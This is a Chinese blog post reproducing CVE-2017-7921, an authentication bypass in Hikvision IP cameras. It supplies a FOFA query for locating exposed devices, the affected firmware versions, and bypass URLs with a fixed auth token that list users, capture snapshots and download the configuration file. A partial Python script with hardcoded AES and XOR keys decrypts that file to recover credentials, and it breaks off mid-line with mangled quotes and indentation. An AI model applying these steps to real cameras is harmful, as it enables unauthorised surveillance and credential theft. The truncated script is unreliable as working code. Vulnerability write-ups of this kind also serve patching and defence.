【漏洞复现】CVE-2017-7921 海康威视(Hikvision)摄像头漏洞复现

  1. 【漏洞复现】CVE-2017-7921 海康威视(Hikvision)摄像头漏洞复现
  2. 漏洞简介
  3. fofa语法
  4. 影响版本
  5. 复现过程
  6. 脚本

【漏洞复现】CVE-2017-7921 海康威视(Hikvision)摄像头漏洞复现

之前渗透到时候碰到了,记录一个复现文章。

漏洞简介

通过构造url进行检索所有用户、屏幕截图、配置文件下载

fofa语法

app="HIKVISION-视频监控"

影响版本

HikvisionDS-2CD2xx2F-ISeries5.2.0build140721
版本至5.4.0build160530版本;

DS-2CD2xx0F-ISeries5.2.0build140721
版本至5.4.0Build160401版本;

DS-2CD2xx2FWDSeries5.3.1build150410
版本至5.4.4Build161125版本;

DS-2CD4x2xFWDSeries5.2.0build140721
版本至5.4.0Build160414版本;

DS-2CD4xx5Series5.2.0build140721
版本至5.4.0Build160421版本;

DS-2DFxSeries5.2.0build140805
版本至5.4.5Build160928版本;

DS-2CD63xxSeries5.0.9build140305
版本至5.3.5Build160106版本

复现过程

在web浏览器中输入以下代码来检索用户与用户列表

http://目的IP地址/Security/users?auth=YWRtaW46MTEK
This XML file does not appear to have any style information associated with it. The document tree is shown below.
<UserList xmlns="http://www.hikvision.com/ver10/XMLSchema" version="1.0">
<User xmlns="http://www.hikvision.com/ver10/XMLSchema" version="1.0">
<id>1</id>
<userName>admin</userName>
<priority>high</priority>
<ipAddress>0.0.0.0</ipAddress>
<macAddress>00:00:00:00:00:00</macAddress>
<userLevel>Administrator</userLevel>
</User>
</UserList>

在没有进行身份验证的情况下获取监控快照可以使用以下代码在浏览器中打开
http://目的IP地址/onvif-http/snapshot?auth=YWRtaW46MTEK

在没有验证的情况下需要使用如下代码来下载摄像头的配置文件
http://目的IP地址/System/configurationFile?auth=YWRtaW46MTEK
代码输入之后浏览器会自动下载一个名为configurationFile的文件,如下

image-20230415153217226

之后用大佬的脚本解密此文件即可

image-20230415153327440

脚本

https://pan.baidu.com/s/1sMV0kCeqv7mHD0BHB3qEDw

提取码:peak

我这里也放出来,免得链接挂了。

```python
#!/usr/bin/python3

from itertools import cycle
from Crypto.Cipher import AES
import re
import os
import sys

def add_to_16(s):
while len(s) % 16 != 0:
s += b’\0’
return s

def decrypt(ciphertext, hex_key=’279977f62f6cfd2d91cd75b889ce0c9a’):
key = bytes.fromhex(hex_key)
ciphertext = add_to_16(ciphertext)
#iv = ciphertext[:AES.block_size]
cipher = AES.new(key, AES.MODE_ECB)
plaintext = cipher.decrypt(ciphertext[AES.block_size:])
return plaintext.rstrip(b”\0”)

def xore(data, key=bytearray([0x73, 0x8B, 0x55, 0x44])):
return bytes(a ^ b for a, b in zip(data, cycle(key)))

def strings(file):
chars = r”A-Za-z0-9/-:.,_$%’()[]<> “
shortestReturnChar = 2
regExp = ‘[%s]


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。